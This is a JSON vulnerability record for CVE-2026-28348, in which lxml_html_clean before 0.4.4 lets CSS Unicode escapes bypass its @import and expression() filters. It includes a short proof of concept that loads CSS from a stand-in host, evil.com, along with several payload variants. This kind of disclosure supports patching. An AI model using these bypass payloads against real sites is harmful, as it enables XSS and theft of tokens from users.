{"id":"CVE-2026-28348","aliases":["CVE-2026-28348","GHSA-hw26-mmpg-fqfg","PYSEC-2026-2201"],"related":[],"kind":"vulnerability","state":"published","title":"lxml_html_clean: CSS @import Filter Bypass via Unicode Escapes","summary":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.\n\n### Details\nThe root cause is located in `clean.py` (around line 594):\n```python\nstyle = style.replace('\\\\', '')\n```\nThis transformation changes a payload like `@\\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\\69mport` as a valid `@import` statement.\n\nSame root cause bypasses `expression()` detection: `\\65xpression(alert(1))` passes through (IE only).\n\n### PoC\n```python\nfrom lxml_html_clean import clean_html\n\n# Normal @import is correctly blocked:\n# clean_html('<style>@import url(\"http://evil.com/x.css\");</style>')\n# Output: <div><style> url(\"http://evil.com/x.css\");</style></div>\n\n# Unicode escape bypass:\nresult = clean_html('<style>@\\\\69mport url(\"http://evil.com/x.css\");</style>')\nprint(result)\n# Output: <div><style>@\\69mport url(\"http://evil.com/x.css\");</style></div>\n```\nIf rendered in a browser, the browser loads the external CSS. Variants like `@\\0069mport`, `@\\69 mport` (trailing space), and `@\\49mport` (uppercase I) also work.\n\n### Impact\nExternal CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.","format":"markdown","source":"ghsa"},{"lang":"es","text":"lxml_html_clean es un proyecto para funcionalidades de limpieza de HTML copiado de 'lxml.html.clean'. Antes de la versión 0.4.4, el método _has_sneaky_javascript() elimina las barras invertidas antes de verificar palabras clave CSS peligrosas. Esto provoca que las secuencias de escape Unicode de CSS omitan los filtros @import y expression(), permitiendo la carga externa de CSS o XSS en navegadores antiguos. Este problema ha sido parcheado en la versión 0.4.4.","source":"nvd"}],"published":"2026-03-02T19:19:15.000Z","modified":"2026-09-10T03:50:39.674Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-116"],"affected":[{"ranges":[{"version":"< 0.4.4","status":"affected"}],"vendor":"fedora-python","product":"lxml_html_clean","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.4.4"}],"ecosystem":"PyPI","package":"lxml-html-clean","purl":"pkg:pypi/lxml-html-clean","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.4.4"}],"vendor":"fedoralovespython","product":"lxml_html_clean","cpe":"cpe:2.3:a:fedoralovespython:lxml_html_clean:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.4.4"}],"ecosystem":"PyPI","package":"lxml-html-clean","purl":"pkg:pypi/lxml-html-clean","source":"pysec"}],"references":[{"url":"https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28348","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/fedora-python/lxml_html_clean","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-06T17:55:33.114Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-28348","url":"https://www.cve.org/CVERecord?id=CVE-2026-28348","licence":"CVE Terms of Use","modified":"2026-03-06T17:55:36.273Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hw26-mmpg-fqfg","url":"https://github.com/advisories/GHSA-hw26-mmpg-fqfg","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:39.674Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-28348","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28348","licence":"Public domain","modified":"2026-06-17T10:28:27.647Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2201","url":"https://osv.dev/vulnerability/PYSEC-2026-2201","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:27.789Z"}],"updatedAt":"2026-11-25T22:59:15.334Z","epss":{"score":0.00288,"percentile":0.22914,"date":"2026-12-02T12:00:21.000Z"}}